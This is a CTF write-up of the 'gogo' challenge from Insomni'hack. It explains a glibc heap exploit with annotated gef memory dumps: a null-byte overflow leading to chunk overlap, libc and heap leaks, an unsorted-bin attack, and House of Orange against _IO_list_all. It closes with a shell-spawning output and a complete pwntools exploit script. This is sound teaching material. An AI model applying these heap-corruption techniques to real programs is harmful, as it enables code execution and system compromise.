Tool credits : @scwuaptx, pwngdb for making public awesome malloc research
*------------------------------*
Hi Inspector!
*------------------------------*
1. Create Gadget
2. Delete Gadget
3. Gogo Gadget
4. Activate Copter
5. Deactivate Copter
6. Gogo Copter
7. Bye
*------------------------------*
Go Go Gadget:
Create Gadget : Create gadget of fixed malloc(0xb1) chunk. scanf(%168s) NULL terminates, leading to poison null byte situation. But, however malloc size is 0xb1 (only 2 digits) so NULL byte overflow here seems useless.
We can coalesce 2 0xb1 = 0x161 chunk, then overflow to make it 0x160.
Activate Copter : Allows to malloc(0x61) chunk.
The gogo functions just print it.
read() used in Copter : not NULL terminated. Hence can leak libc easily.
I did a very complicated attack to finally overlap 2 chunks and gain control of the unsorted bin bk
. Because there is no edit
function, this is a bit tricky.
Here is the entire heap layout that I faked : (its a bit huge, I just pasted it all and will explain it)
gef> x/20xg 0x7f8d70529000
0x7f8d70529000: 0x0000000000000000 0x0000000000000161 <----- This is our chunk in unsorted bin.
0x7f8d70529010: 0x00007f8d70529160 0x00007f8d6e2a6b78 |
0x7f8d70529020: 0x0000000000000000 0x0000000000000000 |
0x7f8d70529030: 0x0000000000000000 0x0000000000000000 |
0x7f8d70529040: 0x0000000000000000 0x0000000000000000 |
0x7f8d70529050: 0x0000000000000000 0x0000000000000006 |
0x7f8d70529060: 0x0000000000000000 0x0000000000020fa1 |
0x7f8d70529070: 0x00007f8d6e2a6b78 0x00007f8d6e2a6b78 |
0x7f8d70529080: 0x0000000000000000 0x0000000000000000 |
0x7f8d70529090: 0x0000000000000000 0x0000000000000000 |
gef> |
0x7f8d705290a0: 0x0000000000000000 0x0000000000000000 |
0x7f8d705290b0: 0x0000000000000050 0x00000000000000b1 |
0x7f8d705290c0: 0x00007f8d705290d0 0x00007f8d705290d0 <--|----- We fake an arena here, to make it look like unsorted bin chunk.
0x7f8d705290d0: 0x0000000000000000 0x0000000000000000 | We intend to make this chunk larger than 0xb1 (like I made it 0x231)
0x7f8d705290e0: 0x00007f8d705290d0 0x00007f8d705290d0 | so then I can overlap with 0x7f8d70529160 and control bk
0x7f8d705290f0: 0x4141414141414141 0x4141414141414141 | remember to forge fake chunk at +0x230 with PREV_INUSE bit set.
0x7f8d70529100: 0x4141414141414141 0x4141414141414141 |
0x7f8d70529110: 0x4141414141414141 0x4141414141414141 |
0x7f8d70529120: 0x4141414141414141 0x4141414141414141 |
0x7f8d70529130: 0x4141414141414141 0x4141414141414141 |
gef> |
0x7f8d70529140: 0x4141414141414141 0x4141414141414141 |
0x7f8d70529150: 0x4141414141414141 0x4141414141414141 |
0x7f8d70529160: 0x0000000000000160 0x0000000000000100 <--|-- We overflow from 0x161 to 0x100. And we put fake size at + 0x100 offset.
0x7f8d70529170: 0x00007f8d6e2a6b78 0x00007f8d70529000 ^ v
0x7f8d70529180: 0x0000000000000000 0x0000000000000000 | |
0x7f8d70529190: 0x0000000000000000 0x0000000000000000 | |
0x7f8d705291a0: 0x0000000000000000 0x0000000000000000 | |
0x7f8d705291b0: 0x0000000000000000 0x0000000000000000 | |
0x7f8d705291c0: 0x0000000000000000 0x0000000000000000 | |
0x7f8d705291d0: 0x0000000000000000 0x0000000000000000 | |
gef> | |
0x7f8d705291e0: 0x0000000000000000 0x0000000000000000 | |
0x7f8d705291f0: 0x0000000000000000 0x0000000000000000 | |
0x7f8d70529200: 0x0000000000000000 0x0000000000000000 | |
0x7f8d70529210: 0x00000000000000b0 0x00000000000000b0 | |
0x7f8d70529220: 0x4444444444444444 0x4444444444444444 | |
0x7f8d70529230: 0x4444444444444444 0x4444444444444444 | |
0x7f8d70529240: 0x4444444444444444 0x4444444444444444 | |
0x7f8d70529250: 0x4444444444444444 0x4444444444444444 | |
0x7f8d70529260: 0x0000000000000100 0x0000000000000060 <---------------------------------------------------------------------|
0x7f8d70529270: 0x0000000000000000 0x0000000000000000 | |
gef> | |
0x7f8d70529280: 0x0000000000000000 0x0000000000000000 | |
0x7f8d70529290: 0x0000000000000000 0x0000000000000000 | |
0x7f8d705292a0: 0x0000000000000000 0x0000000000000000 | |
0x7f8d705292b0: 0x0000000000000000 0x0000000000000000 v |
0x7f8d705292c0: 0x0000000000000160 0x00000000000000b0 We create fake PREV_SIZE = 0x160 , which points to >----^ This saisfies fake PREV_SIZE check.
0x7f8d705292d0: 0x4242424242424242 0x4242424242424242
0x7f8d705292e0: 0x0000000000000000 0x0000000000000091
0x7f8d705292f0: 0x0000000000000000 0x0000000000000000
And , we get control.
gef> x/20xg 0x7f8d70529000
0x7f8d70529000: 0x0000000000000000 0x0000000000000061
0x7f8d70529010: 0x000a445341534441 0x00007f8d6e2a6cc8
0x7f8d70529020: 0x0000000000000000 0x0000000000000000
0x7f8d70529030: 0x0000000000000000 0x0000000000000000
0x7f8d70529040: 0x0000000000000000 0x0000000000000000
0x7f8d70529050: 0x0000000000000000 0x0000000000000006
0x7f8d70529060: 0x0000000000000000 0x00000000000000b1
0x7f8d70529070: 0x5858585858585858 0x5858585858585858
0x7f8d70529080: 0x5858585858585858 0x5858585858585858
0x7f8d70529090: 0x5858585858585858 0x5858585858585858
gef>
0x7f8d705290a0: 0x5858585858585858 0x5858585858585858
0x7f8d705290b0: 0x5858585858585858 0x0000000000000231
0x7f8d705290c0: 0x000000000000dada 0x00000000deadbeef
0x7f8d705290d0: 0x0000000000000000 0x0000000000000000
0x7f8d705290e0: 0x00007f8d705290d0 0x00007f8d705290d0
0x7f8d705290f0: 0x4141414141414141 0x4141414141414141
0x7f8d70529100: 0x4141414141414141 0x4141414141414141
0x7f8d70529110: 0x4141414141414141 0x0000000000000051 <-- unsorted bin
0x7f8d70529120: 0x00007f8d6e2a6b78 0x00007f8d6e2a6b78
0x7f8d70529130: 0x4141414141414141 0x4141414141414141
gef>
0x7f8d70529140: 0x4141414141414141 0x4141414141414141
0x7f8d70529150: 0x4141414141414141 0x4141414141414141
0x7f8d70529160: 0x0000000000000050 0x00000000000000b1
Main_Arena:
0x7f8d6e2a6b70: 0x0000000000000000 0x00007f8d70529370 <-- top chunk
0x7f8d6e2a6b80: 0x00007f8d70529110 0x00007f8d70529110 <-- unsorted bin
0x7f8d6e2a6b90: 0x00007f8d70529110 0x00007f8d6e2a6b88
We can consolidate with previous chunk now, call COPTER, which will give fastbin, and then we can control bk.
0x7f8d705290a0: 0x5252525252525252 0x5252525252525252
0x7f8d705290b0: 0x0068732f6e69622f 0x0000000000000061
0x7f8d705290c0: 0x00000000deadbeef 0x00007f8d6e2a7510 <-- _IO_list_all
0x7f8d705290d0: 0x0000000000000002 0x0000000000000003
0x7f8d705290e0: 0x00007f8d70529070 0x00007f8d70529000
0x7f8d705290f0: 0x4141414141414141 0x4141414141414141
0x7f8d70529100: 0x4141414141414141 0x4141414141414141
Finally, we can do House Of Orange. We can also do unsorted bin attack on IO_buf_end , since program uses scanf() , in case HoO is blocked. But in given libc, HoO wasn't blocked (Thank God !!!!!! because I don't know the scanf() attack LOL ).
I think HoO was not intended , since the flag said "fsop" in it ( I don't remember the exact flag) , so they wanted to do some fsop stuff with scanf() but forgot to block HoO :)
Output :
[*] Switching to interactive mode
*------------------------------*
Hi Inspector!
*------------------------------*
1. Create Gadget
2. Delete Gadget
3. Gogo Gadget
4. Activate Copter
5. Deactivate Copter
6. Gogo Copter
7. Bye
*------------------------------*
Go Go Gadget: $ 1
*** Error in `./gogo': malloc(): memory corruption: 0x00007fe3f79f2520 ***
======= Backtrace: =========
./libc.so(+0x777e5)[0x7fe3f76a47e5]
./libc.so(+0x8213e)[0x7fe3f76af13e]
./libc.so(__libc_malloc+0x54)[0x7fe3f76b1184]
./gogo(+0x11d6)[0x7fe3f7c1e1d6]
./gogo(+0x14c7)[0x7fe3f7c1e4c7]
./libc.so(__libc_start_main+0xf0)[0x7fe3f764d830]
./gogo(+0xac9)[0x7fe3f7c1dac9]
======= Memory map: ========
7fe3f0000000-7fe3f0021000 rw-p 00000000 00:00 0
7fe3f0021000-7fe3f4000000 ---p 00000000 00:00 0
7fe3f7416000-7fe3f742c000 r-xp 00000000 fe:00 788248 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe3f742c000-7fe3f762b000 ---p 00016000 fe:00 788248 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe3f762b000-7fe3f762c000 r--p 00015000 fe:00 788248 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe3f762c000-7fe3f762d000 rw-p 00016000 fe:00 788248 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe3f762d000-7fe3f77ed000 r-xp 00000000 fe:00 565671 /home/vagrant/insomni-onsite/libc.so
7fe3f77ed000-7fe3f79ed000 ---p 001c0000 fe:00 565671 /home/vagrant/insomni-onsite/libc.so
7fe3f79ed000-7fe3f79f1000 r--p 001c0000 fe:00 565671 /home/vagrant/insomni-onsite/libc.so
7fe3f79f1000-7fe3f79f3000 rw-p 001c4000 fe:00 565671 /home/vagrant/insomni-onsite/libc.so
7fe3f79f3000-7fe3f79f7000 rw-p 00000000 00:00 0
7fe3f79f7000-7fe3f7a1a000 r-xp 00000000 fe:00 786395 /lib/x86_64-linux-gnu/ld-2.24.so
7fe3f7c1a000-7fe3f7c1b000 r--p 00023000 fe:00 786395 /lib/x86_64-linux-gnu/ld-2.24.so
7fe3f7c1b000-7fe3f7c1c000 rw-p 00024000 fe:00 786395 /lib/x86_64-linux-gnu/ld-2.24.so
7fe3f7c1c000-7fe3f7c1d000 rw-p 00000000 00:00 0
7fe3f7c1d000-7fe3f7c20000 r-xp 00000000 fe:00 565670 /home/vagrant/insomni-onsite/gogo
7fe3f7e19000-7fe3f7e1f000 rw-p 00000000 00:00 0
7fe3f7e1f000-7fe3f7e20000 r--p 00002000 fe:00 565670 /home/vagrant/insomni-onsite/gogo
7fe3f7e20000-7fe3f7e21000 rw-p 00003000 fe:00 565670 /home/vagrant/insomni-onsite/gogo
7fe3f8ce3000-7fe3f8d04000 rw-p 00000000 00:00 0 [heap]
7ffde43b1000-7ffde43d2000 rw-p 00000000 00:00 0 [stack]
7ffde43e3000-7ffde43e5000 r--p 00000000 00:00 0 [vvar]
7ffde43e5000-7ffde43e7000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
$ pwd
/home/vagrant/insomni-onsite
$
Exploit script :
#!/usr/bin/python
from pwn import *
#p = remote("gogogadget.insomni.hack", 1337)
p = process("./gogo",env={"LD_PRELOAD":"./libc.so"})
#p = process("./gogo")
raw_input()
def menu():
p.recvuntil("Gadget:")
def create_gadget(name):
menu()
p.sendline("1")
p.recvuntil("Gadget :")
p.sendline(name)
def delete(idx):
menu()
p.sendline("2")
p.recvuntil("Gadget [id] :")
p.sendline(str(idx))
def gogo_gad(idx):
menu()
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
def gogo_copter():
menu()
p.sendline("6")
def copter(speed,dest):
menu()
p.sendline("4")
p.recvuntil(":")
p.sendline(str(speed))
p.recvuntil(":")
p.sendline(dest)
create_gadget("AAAAAA")
create_gadget("AAAAAA")
create_gadget("AAAAAA")
create_gadget("AAAAAA")
delete(0)
delete(2)
copter(6,"")
gogo_copter()
p.recvuntil("Gogo Copter To: \n")
libc = "\x18" + p.recv(5) + "\x00"*2
libc = u64(libc) - 0x3c4c18
# only local.
#libc = libc + 0x2d100
# only local.
log.success("Libc : " + hex(libc))
delete(-4)
copter(6,"AAAAAAA")
gogo_copter()
p.recvuntil("Gogo Copter To: AAAAAAA\n")
heap = p.recv(6) + "\x00"*2
heap = u64(heap) & 0xfffffffffffff000
log.success("Heap : " + hex(heap))
# cleanup heap.
delete(-4)
delete(0)
delete(1)
delete(2)
delete(3)
fake = p64(0x00)
fake += p64(0x101)
fake += p64(heap + 0x30)
fake += p64(heap + 0x30)
fake += p64(0x00)*2
fake += p64(heap + 0x10)
fake += p64(heap + 0x10)
create_gadget("BBBBBBBB")
create_gadget("BBBBBBBB")
create_gadget("CCCCCCCC")
lol = "D"*64
lol += p64(0x100)
lol += p64(0x60)
create_gadget(lol)
struc = "B"*16
struc += p64(0x00)
struc += p64(0x91)
create_gadget(struc)
delete(2)
delete(3)
delete(1)
buf = p64(heap + 0xd0)*2
buf += p64(0x00)*2
buf += p64(heap + 0xb0)*2
buf += "A"*(160-48)
buf += p64(0xb0)
create_gadget(buf)
delete(0)
#system = libc + 0x3f480
system = libc + 0x45390
sleep(2)
#delete(1)
ioi = p64(heap + 0x70)*6
create_gadget(ioi)
copter(6,"ADSASD")
'''
#gg = p64(libc + 0x3c4b78)*2
#create_gadget(gg)
#create_gadget(gg)
#copter(6,"aaaabbbb")
'''
lol = "X"*72
lol += p64(0x231)
lol += p64(0xdada)
lol += p64(0xdeadbeef)
create_gadget(lol)
buf = "L"*88
buf += "\xb1"
create_gadget(buf)
#create_gadget(gg)
#create_gadget(gg)
#create_gadget(gg)
delete(2)
delete(1)
#io_list = libc + 0x398500
io_list = libc + 0x3c5520
lol = p64(0x0)*3
lol += p64(system)
lol += "R"*32
lol += "/bin/sh\x00"
lol += p64(0x61)
lol += p64(0xdeadbeef)
lol += p64(io_list - 0x10)
lol += p64(2)
lol += p64(3)
lol += p64(heap + 0x70)
create_gadget(lol)
p.interactive()